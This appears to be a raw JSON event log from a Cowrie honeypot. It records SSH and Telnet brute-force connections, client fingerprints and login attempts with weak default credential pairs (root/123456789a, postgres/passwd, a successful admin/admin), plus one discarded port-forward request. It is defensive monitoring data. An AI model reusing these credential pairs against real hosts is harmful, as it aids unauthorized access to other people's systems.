{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:40.534314Z","src_ip":"122.168.194.41","session":"65e24becf133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:40.811321Z","src_ip":"122.168.194.41","session":"65e24becf133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"myPassword","message":"login attempt [postgres/myPassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:41.950988Z","src_ip":"122.168.194.41","session":"65e24becf133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.21077299118042,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:42.557874Z","src_ip":"128.199.8.54","session":"9b09d44ad2d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:43.231550Z","src_ip":"122.168.194.41","session":"65e24becf133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.74519395828247,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:50.832016Z","src_ip":"128.199.8.54","session":"c949fdd04c02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50966,"dst_ip":"159.203.135.109","dst_port":23,"session":"415bd01dff63","protocol":"telnet","message":"New connection: 128.199.8.54:50966 (159.203.135.109:23) [session: 415bd01dff63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:33:57.222316Z"}
{"eventid":"cowrie.session.closed","duration":33.49614882469177,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:01.950102Z","src_ip":"128.199.8.54","session":"c63075b27a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40120,"dst_ip":"159.203.135.109","dst_port":23,"session":"b137810f9b8f","protocol":"telnet","message":"New connection: 128.199.8.54:40120 (159.203.135.109:23) [session: b137810f9b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:05.981414Z"}
{"eventid":"cowrie.session.closed","duration":35.84252071380615,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:06.185867Z","src_ip":"128.199.8.54","session":"2bfc35a04bd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58216,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc78bfd4672","protocol":"telnet","message":"New connection: 128.199.8.54:58216 (159.203.135.109:23) [session: 3dc78bfd4672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:16.018843Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.74.242.167","src_port":43330,"dst_ip":"159.203.135.109","dst_port":23,"session":"909a0bcc875a","protocol":"telnet","message":"New connection: 112.74.242.167:43330 (159.203.135.109:23) [session: 909a0bcc875a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:19.907230Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41034,"dst_ip":"159.203.135.109","dst_port":23,"session":"19c0e5b59320","protocol":"telnet","message":"New connection: 128.199.8.54:41034 (159.203.135.109:23) [session: 19c0e5b59320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:20.698649Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59542,"dst_ip":"159.203.135.109","dst_port":22,"session":"697593d545da","protocol":"ssh","message":"New connection: 2.57.122.208:59542 (159.203.135.109:22) [session: 697593d545da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:23.537619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:23.723730Z","src_ip":"2.57.122.208","session":"697593d545da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:23.728342Z","src_ip":"2.57.122.208","session":"697593d545da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:25.388857Z","src_ip":"2.57.122.208","session":"697593d545da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:26.695499Z","src_ip":"2.57.122.208","session":"697593d545da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36716,"dst_ip":"159.203.135.109","dst_port":23,"session":"000f92ce34c1","protocol":"telnet","message":"New connection: 128.199.8.54:36716 (159.203.135.109:23) [session: 000f92ce34c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:32.583651Z"}
{"eventid":"cowrie.session.closed","duration":35.406389474868774,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:32.628579Z","src_ip":"128.199.8.54","session":"415bd01dff63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56550,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c877d8a299a","protocol":"ssh","message":"New connection: 87.251.64.176:56550 (10.17.0.5:22) [session: 6c877d8a299a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:32.947564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:32.952499Z","src_ip":"87.251.64.176","session":"6c877d8a299a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:33.049055Z","src_ip":"87.251.64.176","session":"6c877d8a299a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:33.341600Z","src_ip":"87.251.64.176","session":"6c877d8a299a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:33.441055Z","session":"6c877d8a299a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:33.538931Z","src_ip":"87.251.64.176","session":"6c877d8a299a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:33.774465Z","src_ip":"87.251.64.176","session":"6c877d8a299a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43540,"dst_ip":"159.203.135.109","dst_port":23,"session":"84b2af39d303","protocol":"telnet","message":"New connection: 128.199.8.54:43540 (159.203.135.109:23) [session: 84b2af39d303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:38.939539Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":52840,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bcac6887f78","protocol":"ssh","message":"New connection: 122.168.194.41:52840 (159.203.135.109:22) [session: 9bcac6887f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:39.458495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:39.462886Z","src_ip":"122.168.194.41","session":"9bcac6887f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:39.745414Z","src_ip":"122.168.194.41","session":"9bcac6887f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"qwerty","message":"login attempt [ec2-user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:40.893334Z","src_ip":"122.168.194.41","session":"9bcac6887f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:42.174463Z","src_ip":"122.168.194.41","session":"9bcac6887f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.656872272491455,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:42.638172Z","src_ip":"128.199.8.54","session":"b137810f9b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93601989746094,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:48.954773Z","src_ip":"128.199.8.54","session":"3dc78bfd4672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55231261253357,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:53.459449Z","src_ip":"112.74.242.167","session":"909a0bcc875a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02210545539856,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:55.720615Z","src_ip":"128.199.8.54","session":"19c0e5b59320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00423884391785,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:58.602856Z","src_ip":"212.55.149.117","session":"c3b3ad5d7f7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48696,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b7e406aefc","protocol":"ssh","message":"New connection: 103.15.226.202:48696 (10.17.0.5:22) [session: 70b7e406aefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:59.874305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:34:59.878124Z","src_ip":"103.15.226.202","session":"70b7e406aefc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:00.127331Z","src_ip":"103.15.226.202","session":"70b7e406aefc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789a","message":"login attempt [root/123456789a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:00.876791Z","src_ip":"103.15.226.202","session":"70b7e406aefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:02.126332Z","src_ip":"103.15.226.202","session":"70b7e406aefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.25204849243164,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:08.835373Z","src_ip":"128.199.8.54","session":"000f92ce34c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.8211407661438,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:12.760558Z","src_ip":"128.199.8.54","session":"84b2af39d303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":60999,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b946b81b8a4","protocol":"telnet","message":"New connection: 212.55.149.117:60999 (10.17.0.5:23) [session: 4b946b81b8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:32.865554Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.22","src_port":59166,"dst_ip":"159.203.135.109","dst_port":23,"session":"55d20087b76b","protocol":"telnet","message":"New connection: 85.217.149.22:59166 (159.203.135.109:23) [session: 55d20087b76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:36.697993Z"}
{"eventid":"cowrie.session.closed","duration":0.028423547744750977,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:36.726300Z","src_ip":"85.217.149.22","session":"55d20087b76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":42464,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c60de553f41","protocol":"ssh","message":"New connection: 122.168.194.41:42464 (159.203.135.109:22) [session: 2c60de553f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:36.951665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:36.956078Z","src_ip":"122.168.194.41","session":"2c60de553f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:37.223111Z","src_ip":"122.168.194.41","session":"2c60de553f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"passwd","message":"login attempt [postgres/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:38.322531Z","src_ip":"122.168.194.41","session":"2c60de553f41","protocol":"ssh"}
